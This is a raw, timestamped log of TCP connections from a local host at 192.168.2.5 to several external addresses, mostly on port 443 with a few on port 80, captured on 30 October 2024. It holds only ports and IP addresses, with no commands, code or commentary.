Oct 30, 2024 18:06:28.311294079 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:28.311309099 CET	443	49711	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:28.358155012 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:28.485388994 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:28.485449076 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:28.485574007 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:28.539730072 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:28.539767027 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:28.805839062 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:28.851332903 CET	443	49711	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:29.081233978 CET	443	49711	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:29.125721931 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.125745058 CET	443	49711	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:29.138061047 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.138113022 CET	443	49711	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:29.138253927 CET	443	49711	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:29.138278008 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.138307095 CET	49711	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.146465063 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.146492958 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:29.146620989 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.147023916 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.147037983 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:29.337599993 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:29.337685108 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:29.342308044 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:29.342338085 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:29.342583895 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:29.387685061 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:29.610218048 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.610260963 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:29.610326052 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.610624075 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.610637903 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:29.629302979 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:29.629348040 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:29.629439116 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:29.629890919 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:29.629901886 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:29.743983984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:29.744807005 CET	49721	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:29.749561071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:29.750195026 CET	80	49721	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:29.750977039 CET	49721	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:29.751034975 CET	49721	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:29.756439924 CET	80	49721	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:29.764972925 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.765022993 CET	443	49722	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:29.765302896 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.765516996 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:29.765531063 CET	443	49722	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.009183884 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.019155025 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.019171953 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.020279884 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.020397902 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.058725119 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.058900118 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.058979034 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.112921000 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.112938881 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.156013012 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.337358952 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.337410927 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.337452888 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.337481022 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.337505102 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.337549925 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.338412046 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.346146107 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.346199989 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.346229076 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.354931116 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.354984999 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.355000019 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.390417099 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:30.408003092 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.412461042 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.412550926 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.420207977 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.420237064 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.420509100 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.431330919 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:30.432141066 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.456413031 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.457360029 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.457411051 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.457428932 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.460500002 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.460941076 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.460952044 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.461276054 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.461785078 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.461817026 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.461837053 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.461858988 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.461900949 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.462358952 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.462420940 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.462924957 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.470560074 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.475338936 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.479887962 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.479974985 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.480034113 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.480046988 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.480186939 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.488250017 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.496817112 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.496865988 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.496881008 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.496896982 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.497024059 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.505284071 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.507344961 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.513530970 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.513561010 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.513807058 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.513818979 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.513887882 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.521687984 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.569243908 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.569259882 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.575184107 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.575238943 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.575248003 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.575393915 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.575486898 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.575495005 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.576287031 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.576359034 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.576366901 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.576520920 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.576570988 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.576579094 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.580672979 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.580763102 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.580771923 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.581384897 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.581453085 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.581459999 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.589521885 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.589613914 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.589624882 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.593920946 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.593987942 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.593995094 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.600061893 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.600155115 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.600164890 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.606498957 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.606643915 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.606652975 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.612229109 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.612310886 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.612320900 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.618283033 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.618359089 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.618370056 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.624402046 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.624488115 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.624496937 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.630403996 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.630494118 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.630507946 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.636532068 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.636598110 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.636606932 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.642453909 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.642905951 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.642914057 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.648561001 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.648678064 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.648686886 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.650223970 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.650248051 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.650283098 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.650368929 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.650387049 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.650657892 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.652364016 CET	443	49722	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.653438091 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.653496027 CET	443	49722	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.654726982 CET	443	49722	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.654818058 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.654827118 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.654937029 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.654947042 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.655324936 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.655411959 CET	443	49722	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.655503988 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.655611038 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.655651093 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.655807018 CET	443	49716	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.655867100 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.655884981 CET	49716	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.658199072 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:30.658219099 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:30.658227921 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:30.658236980 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:30.658261061 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:30.658305883 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:30.658355951 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:30.658387899 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:30.658411980 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:30.658670902 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:30.658751011 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:30.658766985 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:30.659178019 CET	443	49714	20.109.210.53	192.168.2.5
Oct 30, 2024 18:06:30.659251928 CET	49714	443	192.168.2.5	20.109.210.53
Oct 30, 2024 18:06:30.685609102 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.685626984 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.685718060 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.685726881 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.685761929 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.699245930 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.699259043 CET	443	49722	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.743896008 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.743944883 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.743976116 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.744019032 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.744041920 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.744085073 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.744091988 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.745115995 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.745187998 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.745197058 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.746124029 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.756378889 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.757714033 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.757796049 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.757806063 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.759203911 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.767265081 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.767287016 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.767365932 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.767378092 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.771265030 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.801786900 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.801804066 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.801904917 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.801912069 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.801973104 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.804929018 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.804944992 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.805059910 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.805067062 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.806917906 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.841927052 CET	49726	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:30.841969967 CET	443	49726	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:30.842039108 CET	49726	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:30.843029976 CET	49726	443	192.168.2.5	184.28.90.27
Oct 30, 2024 18:06:30.843044996 CET	443	49726	184.28.90.27	192.168.2.5
Oct 30, 2024 18:06:30.861363888 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.861464024 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.863287926 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.863301039 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.863811970 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.863879919 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.863888979 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.868160009 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.869106054 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.869116068 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.876878977 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.877108097 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.877120018 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.883436918 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.883460045 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.883538008 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.883546114 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.883579016 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.884511948 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.884530067 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.884593010 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.884599924 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.885066032 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.886619091 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.889110088 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.889121056 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.894418955 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.897104979 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.897119045 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.903243065 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.905091047 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.905101061 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.911431074 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.913096905 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.913106918 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.917504072 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.917521954 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.917599916 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.917607069 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.917646885 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.918271065 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.918287992 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.918330908 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.918337107 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.918361902 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.918380022 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.919075012 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.919091940 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.919143915 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.919151068 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.919969082 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.919991016 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.920025110 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.920031071 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.920059919 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.920089006 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.920562983 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.920939922 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.920955896 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.921005964 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.921011925 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.921011925 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.921020985 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.921036959 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.921061039 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.935482025 CET	443	49722	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.960201025 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.960218906 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.960299969 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.960309982 CET	443	49719	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:30.961389065 CET	49719	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:30.964574099 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.964584112 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.977838993 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.977963924 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.978044033 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.978054047 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.978065014 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.978107929 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.978173018 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.978318930 CET	49718	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.978868961 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.979707956 CET	49722	443	192.168.2.5	142.250.186.132
Oct 30, 2024 18:06:30.979727983 CET	443	49722	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.980787039 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.980828047 CET	443	49718	142.250.186.132	192.168.2.5
Oct 30, 2024 18:06:30.981230021 CET	49722	443	192.168.2.5	142.250.186.132
